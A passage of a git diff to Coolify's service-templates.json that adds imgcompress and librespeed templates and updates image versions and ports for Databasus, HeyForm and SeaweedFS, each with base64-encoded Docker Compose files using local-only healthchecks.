1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9JTUdDT01QUkVTU181MDAwCiAgICAgIC0gJ0RJU0FCTEVfTE9HTz0ke0RJU0FCTEVfTE9HTzotZmFsc2V9JwogICAgICAtICdESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVD0ke0RJU0FCTEVfU1RPUkFHRV9NQU5BR0VNRU5UOi1mYWxzZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwo=", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTElCUkVTUEVFRF84MgogICAgICAtIE1PREU9c3RhbmRhbG9uZQogICAgICAtIFRFTEVNRVRSWT1mYWxzZQogICAgICAtIERJU1RBTkNFPWttCiAgICAgIC0gV0VCUE9SVD04MgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdjdXJsIDEyNy4wLjAuMTo4MiB8fCBleGl0IDEnCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIGludGVydmFsOiAxbTBzCiAgICAgIHJldHJpZXM6IDEK", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -4099,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMDUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMTMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", "tags": [ "object", "storage", diff --git a/templates/service-templates.json b/templates/service-templates.json index 49f1f126f..22d0d6d8c 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -818,7 +818,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", + "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", "tags": [ "postgres", "mysql", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fODAwMAogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwMDAgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fOTE1NwogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjkxNTcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fSU1HQ09NUFJFU1NfNTAwMAogICAgICAtICdESVNBQkxFX0xPR089JHtESVNBQkxFX0xPR086LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9TVE9SQUdFX01BTkFHRU1FTlQ9JHtESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVDotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjUwMDAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMK", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0xJQlJFU1BFRURfODIKICAgICAgLSBNT0RFPXN0YW5kYWxvbmUKICAgICAgLSBURUxFTUVUUlk9ZmFsc2UKICAgICAgLSBESVNUQU5DRT1rbQogICAgICAtIFdFQlBPUlQ9ODIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAxMjcuMC4wLjE6ODIgfHwgZXhpdCAxJwogICAgICB0aW1lb3V0OiAxcwogICAgICBpbnRlcnZhbDogMW0wcwogICAgICByZXRyaWVzOiAxCg==", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -4099,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEw